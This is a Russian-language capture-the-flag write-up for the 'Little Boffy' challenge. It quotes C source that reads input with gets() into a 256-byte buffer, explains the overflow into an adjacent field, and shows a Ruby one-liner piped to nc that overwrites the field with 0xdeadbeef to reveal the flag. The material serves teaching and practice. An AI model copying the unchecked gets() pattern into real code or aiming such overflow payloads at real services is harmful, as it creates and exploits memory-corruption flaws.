Little Boffy hackyou Райтап
Райтап на реверс таск Little Boffy от независимого игрока crmaxx
Дан исходный файл на языке Си main_bb1529f.c следующего содержания
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
struct a {
char buffer[256];
int set_me;
} _a;
_a.set_me = 0xcafebabe;
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("Value: 0x%08x\n", _a.set_me);
gets(_a.buffer);
printf("You input %u bytes.\n", strlen(_a.buffer));
printf("Value: 0x%08x\n", _a.set_me);
if (_a.set_me == 0xdeadbeef) {
printf("Take your flag...\n");
system("cat flag.txt");
}
return 0;
}
и ссылка на сервис:
nc 109.233.56.90 11061
Необходимо получить данные из файла flag.txt
Изучив исходные данные становится понятно, что есть структура, в которой в интовом поле set_me захардкожен ключ 0xcafebabe. Вывод данных из файла flag.txt произойдёт только если поле set_me станет равным 0xdeadbeef.
Пользовательский ввод попадает в ту же структуру buffer длиной в 256 чаров.
Дальнейшее изучение исходников навело на мысль, что размер входных данных не проверяются, а значит тут есть переполнение.
Таким образом, если передать на вход 256 байт данных + 0xdeadbeef, то мы сможем переписать поле set_me нужным нам значением.
Эксплоит и результат
$ ruby -e 'puts "j"*256 + "\xEF\xBE\xAD\xDE"' | nc 109.233.56.90 11061
Результат работы:
Value: 0xcafebabe
You input 260 bytes.
Value: 0xdeadbeef
Take your flag...
easy_peasy_lemon_squeezy
Искомый флаг
easy_peasy_lemon_squeezy
- Автор: crmaxx
- Комментарии: 0
- Просмотры: 2523